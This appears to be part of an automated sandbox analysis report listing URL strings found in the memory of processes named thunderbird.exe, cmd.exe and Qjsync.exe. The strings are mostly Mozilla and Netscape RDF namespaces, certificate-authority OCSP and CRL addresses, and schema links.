Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#SyncDisabled
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#Synchronize
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#TotalMessages
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#TotalUnreadMessages
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#Transferred
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#URL
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#Virtual
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#alwaysAsk
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#attribute
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#child
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#description
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#extension
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#extensionhttp://home.netscape.com/NC-rdf#pulsehttp://home.netscape.c
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#fileExtensions
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#handleInternal
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#open
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#path
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#persist
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#prettyName
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#prettyNamehttp://home.netscape.com/NC-rdf#alwaysAskhttp://home.netsc
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#pulse
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#saveToDisk
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#useSystemDefault
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#value
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#valuehttp://home.netscape.com/NC-rdf#attributehttp://home.netscape.c
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/WEB-rdf#LastModifiedDate
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0A
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0C
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0L
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0O
Source: cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: thunderbird.exe, 00000003.00000003.2260894204.00000000030F3000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000003.00000003.2261061954.00000000030F2000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000003.00000003.2260778595.00000000030F3000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000003.00000003.2260293637.00000000030F3000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000003.00000003.2261175868.00000000030F3000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000003.00000003.2261421950.00000000030F3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.thawte.com0
Source: cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://s2.symcb.com0
Source: thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/anyTypeFailure
Source: cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://sv.symcd.com0&
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://wpad/wpad.dat
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://wpad/wpad.datnetwork.proxy.autoconfig_urlnetwork.proxy.no_proxies_onnetwork.proxy.failover_ti
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000000.2594143900.00000001401E0000.00000002.00000001.01000000.00000027.sdmp String found in binary or memory: http://www.???.xx/?search=%s
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BA2000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C09000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.0000000005133000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.0000000002713000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.info-zip.org/
Source: thunderbird.exe, 00000003.00000003.2260894204.00000000030F3000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000003.00000003.2261061954.00000000030F2000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000003.00000003.2260778595.00000000030F3000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000003.00000003.2260293637.00000000030F3000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000003.00000003.2261175868.00000000030F3000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000003.00000003.2261421950.00000000030F3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.com0
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://www.mozilla.org/2002/soap/securityweb-scripts-access.xmlUnknownElementUnknownAttributeElement
Source: thunderbird.exe, 00000003.00000002.2268213706.0000000060293000.00000002.00000001.01000000.00000012.sdmp, thunderbird.exe, 00000003.00000002.2268269622.00000000602A2000.00000002.00000001.01000000.00000013.sdmp, thunderbird.exe, 00000003.00000003.2261061954.00000000030F2000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000003.00000002.2268078925.00000000601CB000.00000002.00000001.01000000.0000000B.sdmp, thunderbird.exe, 00000003.00000003.2260778595.00000000030F3000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2425210047.00000000601CB000.00000002.00000001.01000000.00000019.sdmp, thunderbird.exe, 00000004.00000002.2425461875.00000000602A2000.00000002.00000001.01000000.00000021.sdmp, thunderbird.exe, 00000004.00000002.2425385382.0000000060293000.00000002.00000001.01000000.00000020.sdmp String found in binary or memory: http://www.mozilla.org/MPL/
Source: thunderbird.exe, 00000003.00000002.2268213706.0000000060293000.00000002.00000001.01000000.00000012.sdmp, thunderbird.exe, 00000003.00000002.2268269622.00000000602A2000.00000002.00000001.01000000.00000013.sdmp, thunderbird.exe, 00000003.00000003.2261061954.00000000030F2000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000003.00000002.2268078925.00000000601CB000.00000002.00000001.01000000.0000000B.sdmp, thunderbird.exe, 00000003.00000003.2260778595.00000000030F3000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2425210047.00000000601CB000.00000002.00000001.01000000.00000019.sdmp, thunderbird.exe, 00000004.00000002.2425461875.00000000602A2000.00000002.00000001.01000000.00000021.sdmp, thunderbird.exe, 00000004.00000002.2425385382.0000000060293000.00000002.00000001.01000000.00000020.sdmp String found in binary or memory: http://www.mozilla.org/MPL/Copyright
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://www.mozilla.org/TransforMiixtransformiix:resulttbodyapplication/xmltransformiixResultpre4.0
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://www.mozilla.org/credits/
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://www.mozilla.org/credits/credits#?%Y-%m-%d-%H%M%S.txtnew-all-bloatlogsMemory
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://www.mozilla.org/newlayout/xml/parsererror.xml
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://www.mozilla.org/newlayout/xml/parsererror.xmllayout.fire_onload_after_image_background_loads8
Source: thunderbird.exe, 00000003.00000000.2157387676.0000000000A3C000.00000002.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000002.2265907816.0000000000A3C000.00000002.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422053504.0000000000A3C000.00000002.00000001.01000000.00000016.sdmp, thunderbird.exe, 00000004.00000000.2264998522.0000000000A3C000.00000002.00000001.01000000.00000016.sdmp String found in binary or memory: http://www.mozilla.org/rdf/chrome#name
Source: thunderbird.exe, 00000003.00000000.2157387676.0000000000A3C000.00000002.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000002.2265907816.0000000000A3C000.00000002.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422053504.0000000000A3C000.00000002.00000001.01000000.00000016.sdmp, thunderbird.exe, 00000004.00000000.2264998522.0000000000A3C000.00000002.00000001.01000000.00000016.sdmp String found in binary or memory: http://www.mozilla.org/rdf/chrome#packages
Source: thunderbird.exe, 00000003.00000000.2157387676.0000000000A3C000.00000002.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000002.2265907816.0000000000A3C000.00000002.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422053504.0000000000A3C000.00000002.00000001.01000000.00000016.sdmp, thunderbird.exe, 00000004.00000000.2264998522.0000000000A3C000.00000002.00000001.01000000.00000016.sdmp String found in binary or memory: http://www.mozilla.org/rdf/chrome#packageshttp://www.mozilla.org/rdf/chrome#namehttp://www.mozilla.o
Source: thunderbird.exe, 00000003.00000000.2157387676.0000000000A3C000.00000002.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000002.2265907816.0000000000A3C000.00000002.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422053504.0000000000A3C000.00000002.00000001.01000000.00000016.sdmp, thunderbird.exe, 00000004.00000000.2264998522.0000000000A3C000.00000002.00000001.01000000.00000016.sdmp String found in binary or memory: http://www.mozilla.org/rdf/chrome#platformPackage
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://www.mozilla.org/unix/customizing.html#prefs
